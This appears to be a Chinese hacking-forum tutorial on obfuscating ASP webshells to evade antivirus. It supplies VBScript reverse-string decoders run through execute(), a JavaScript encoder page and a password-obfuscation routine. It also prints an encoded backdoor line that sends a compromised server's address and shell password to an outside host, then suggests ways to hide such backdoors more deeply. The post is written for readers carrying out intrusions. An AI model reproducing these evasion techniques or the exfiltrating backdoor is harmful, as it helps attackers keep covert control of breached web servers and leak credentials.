- 論壇徽章:
- 0
|
大家在入侵中應(yīng)該是撿到過(guò)別人的Webshell吧?也許有的大馬功能很好,于是你就用了,但是你沒(méi)想過(guò)該馬可能有后門(mén)?現(xiàn)在很多的大馬都加密了,打開(kāi)時(shí)候一片亂碼,是不是也想加密自己的大馬了,加密后的Webshell不僅可以防止別人撿我們的Shell用,還能免殺webshell。ASP木馬加密不難,讓我們一起踏上大馬加密之旅。\r\n\r\n一:人工加密\r\n\r\n1.主加密函數(shù)的編寫(xiě)\r\n\r\n1)主解密與解密函數(shù)\r\n\r\n對(duì)大馬的加密關(guān)鍵是編寫(xiě)我們的加密函數(shù),然后寫(xiě)出相應(yīng)的解密函數(shù)。我這里先得對(duì)幾個(gè)ASP自帶函數(shù)有個(gè)了解\r\n\r\nCHR:將ASCII字碼轉(zhuǎn)換成字符\r\n\r\nREPLACE:將一個(gè)字符串取代部份字。\r\n\r\nASC:將字符串的第一字母轉(zhuǎn)換成ANSI(美國(guó)國(guó)家標(biāo)準(zhǔn)符號(hào))字碼。\r\n\r\nLen:取得字符串的長(zhǎng)度。\r\n\r\n然后對(duì)IF語(yǔ)句和一些VBS函數(shù)相關(guān)知識(shí)有個(gè)了解。大家有不懂可以查看Windows腳本技術(shù),里面比較詳細(xì)。\r\n\r\n我們先看下一個(gè)最常用的解密函數(shù)吧。\r\n\r\ndimShiSan,ShiSanNewstr,ShiSanI\r\n\r\nFunctionShiSanFun(ShiSanObjstr)\r\n\r\nShiSanObjstr=Replace(ShiSanObjstr,\"╁\",\"\"\"\")\r\n\r\nForShiSanI=1ToLen(ShiSanObjstr)\r\n\r\nIfMid(ShiSanObjstr,ShiSanI,1)<>\"╋\"Then\r\n\r\nShiSanNewStr=Mid(ShiSanObjstr,ShiSanI,1)&ShiSanNewStr\r\n\r\nElse\r\n\r\nShiSanNewStr=vbCrLf&ShiSanNewStr\r\n\r\nEndIf\r\n\r\nNext\r\n\r\nShiSanFun=ShiSanNewStr\r\n\r\nEndFunction\r\n\r\n這個(gè)解密函數(shù)就是將加密后的代碼解密。他先將解密代碼(Str)中的╁換為引號(hào)(\"),得到Str1,然后通過(guò)FOR循環(huán),將加密部分(Str1)逐個(gè)取出,將取出的字符倒敘連接成一個(gè)新字符,并將╋換為vbcrlf(換行符)。這個(gè)加密函數(shù)應(yīng)用的相當(dāng)廣泛,就連華夏免殺Webshell也用了這個(gè)函數(shù)\r\n\r\n好了。知道加密的原理后我們就可以編寫(xiě)自己的加密函數(shù)了。ASP的加密函數(shù)只需要將上面的部分稍微改下,但是需要可以執(zhí)行的環(huán)境(本地IIS或上傳到服務(wù)器)。這里我給出了JS+HTML寫(xiě)的加密網(wǎng)頁(yè)\r\n\r\n---------->JS+HTML加密:\r\n\r\n<html>\r\n\r\n<scriptscript=\"JavaScript\">\r\n\r\nfunctionenCode(theText)\r\n\r\n{\r\n\r\noutput=newString;\r\n\r\nTextSize=theText.length;\r\n\r\nfor(i=0;i<TextSize;i++)\r\n\r\n{\r\n\r\nif(theText.charCodeAt(i)==\"13\")\r\n\r\n{\r\n\r\noutput=\"鵬\"+output;\r\n\r\n}\r\n\r\nelseif(theText.charCodeAt(i)==\"10\")\r\n\r\n{\r\n\r\noutput+=\"\";\r\n\r\n}\r\n\r\nelse\r\n\r\n{\r\n\r\noutput=theText.charAt(i)+output;\r\n\r\n}\r\n\r\n}\r\n\r\nreturnoutput\r\n\r\n}\r\n\r\n</script>\r\n\r\n<formname=encformonsubmit=\"returnfalse;\"/>\r\n\r\n<textareaname=box1rows=16cols=120></textarea>\r\n\r\n<br/>\r\n\r\n<inputtype=buttonvalue=\"加密到下面文本框\"onClick=\"this.form.box2.value=enCode(this.form.box1.value);\"/><br/>\r\n\r\n<textareaname=box2rows=16cols=120></textarea>\r\n\r\n</form>\r\n\r\n</form>\r\n\r\n</html>\r\n\r\n保存為html格式然后用IE打開(kāi),將需要加密的部分填寫(xiě)上,然后點(diǎn)擊按鈕\"加密到下面文本框\",就可以得到加密后的字符串了。\r\n\r\n上面的加密函數(shù)是enCode,他的作用是將ASP代碼(Code)中的換行換為鵬,得到Code1,然后將Code1倒序(13和10分別是回車和換行的編碼)。比如:\r\n\r\nSubRRS(str)\r\n\r\nresponse.write(str)\r\n\r\nEndSub\r\n\r\n加密后就為\r\n\r\nbuSdnE鵬)rts(etirw.esnopser鵬)rts(SRRbuS\r\n\r\n寫(xiě)了加密函數(shù)后就要寫(xiě)出對(duì)于的解密函數(shù),必須用ASP編寫(xiě)\r\n\r\ndimpsEncode,psStr,psI\r\n\r\nFunctionunCode(psEncode)\r\n\r\nForpsI=1ToLen(psEncode)\r\n\r\nIfMid(psEncode,psI,1)<>\"鵬\"Then\r\n\r\npsNewStr=Mid(psEncode,psI,1)&psNewStr\r\n\r\nElse\r\n\r\npsNewStr=vbCrlf&psNewStr\r\n\r\nEndIf\r\n\r\nNext\r\n\r\nunCode=psNewStr\r\n\r\nEndFunction\r\n\r\n這樣我們就可以將ASP中的RRS函數(shù)用\r\n\r\nexecute(unCode(\"buSdnE鵬)rts(etirw.esnopser鵬)rts(SRRbuS\"))\r\n\r\n代替掉\r\n\r\nSubRRS(str)\r\n\r\nresponse.write(str)\r\n\r\nEndSub\r\n\r\n我們可以利用這個(gè)加密函數(shù)加密多處,這樣多加密一般可以免殺大馬\r\n\r\n(2)加密解密函數(shù)\r\n\r\n直接調(diào)用解密函數(shù),很容易使自己的解密函數(shù)泄露,我們可以利用一個(gè)函數(shù)來(lái)加密我們的加密函數(shù),這樣就難找一點(diǎn)了,這主要是為了保護(hù)我們的馬,對(duì)于上面我們的解密函數(shù),我們可以再寫(xiě)一個(gè)加密函數(shù),然后調(diào)用execute來(lái),這樣就可以隱藏我們的解密函數(shù)了。這樣我們解密函數(shù)的源代碼就不會(huì)明文出現(xiàn)在webshell里了\r\n\r\n(3)嵌套加密\r\n\r\n我們可以在主加密函數(shù)里面嵌套次加密函數(shù),不過(guò)這樣我們需要對(duì)應(yīng)的寫(xiě)出多個(gè)解密函數(shù),這樣加密比較側(cè)地,小破孩就馬就是采用這種加密方法。由于方法相同,我就不多啰嗦了,大家有興趣可以自己去研究下幽月或小破孩的,我這里有源碼,想要的可以到我博客(hi.baidu.com/novaa)\r\n\r\n2.密碼的加密\r\n\r\n大家是否遇見(jiàn)過(guò)webshell的密碼是很長(zhǎng)的數(shù)字,20多位或30多位。這就是對(duì)密碼加密了的,通過(guò)對(duì)密碼加密,可以防止別人通過(guò)查看我們的源代碼得到我們的密碼,除非他完全解密了我們的webshell,否則我們大馬就是安全的。這里看一個(gè)對(duì)密碼加密的函數(shù)。\r\n\r\nFunctionenPass(psStr,Pos)\r\n\r\nDimi,psNewStr\r\n\r\nFori=1ToLen(psStr)\r\n\r\npsNewStr=psNewStr&Asc(Mid(psStr,i,1))+Pos&(20080808-Pos)\r\n\r\nNext\r\n\r\nenPass=psNewStr\r\n\r\nEndFunction\r\n\r\n上面的這個(gè)加密函數(shù)是對(duì)每一位密碼的數(shù)字取ascii碼,然后加上Pos&(20080808-Pos)&i,這里注意&是連接字符,比如n&ov&aa結(jié)果是novaa\r\n\r\n然后我們把解密后的部分定義為UserPass\r\n\r\n然后在驗(yàn)證的地方通過(guò)\r\n\r\nenPass(request.form(\"pass\"),pn)=UserPass來(lái)進(jìn)行身份驗(yàn)證,當(dāng)然,通過(guò)修改密碼的驗(yàn)證方式可以輕松的修改密碼,但是前提是你已經(jīng)完全解密了這個(gè)webshell了。\r\n\r\n3.后門(mén)的隱藏技術(shù)\r\n\r\n怎么隱藏后門(mén)?其實(shí)主要就利用ASP的自帶函數(shù)和一些其他技巧,這里我以破小孩后門(mén)來(lái)解釋\r\n\r\nRRS\"<DIVstyle=\"\"CURSOR:url(\'http://\"&chr(37)&\"77\"&chr(37)&\"2E%31\"&chr(39-pos)&\"\"&(4+pos)&\"c%6c\"&chr(37)&\"34%2E\"&chr(37)&\"63%6f\"&chr(37)&\"6d/%\"&(36+pos)&\"%2f?%75=\"&Serveru&\"&%70=\"&UserPass&\"\')\"\">\"\r\n\r\n這個(gè)和幽月的后門(mén)隱藏技術(shù)差不多,都是利用了ASCII編碼和HTML編碼,CHR(37)是\"/\",我們把它還原就是\r\n\r\nhttp://w.1ll4.com/8/?u=\"&Serveru&\"&p=\"&UserPass&\"\r\n\r\n這里我們可以做的更隱蔽些。\r\n\r\n1.我們查找后門(mén)的時(shí)候一般是利用查找有UserPass的地方,因此,我們可以利用enPass(request.form(\"pass\"),pn)賦值給另一個(gè)變量canyou,然后把&p=\"&UserPass&\"換為&p=\"&canyou&\"\r\n\r\n2.我們可以利用webshell里面自帶的常量來(lái)代替http,以為http也是經(jīng)常用來(lái)找后門(mén)的地方,比如Sot(13,0)=\"Microsoft.XMLHTTP\"這里就有HTTP,我們利用Right函數(shù)來(lái)取得Sot(13,0)右邊的4個(gè)字符,然后代替后門(mén)中的HTTP\r\n\r\n二:工具加密\r\n\r\n利用微軟的腳本加密工具screnc.exe對(duì)我們初步加密的webshell進(jìn)行再次的加密,這樣我們的webshell就完全成了一堆亂碼了\r\n\r\n有了上面的加密知識(shí),相信大家很快可以掌握ASP的解密,方法都是一樣的,然后大家就可以玩玩除后門(mén)了。 |
|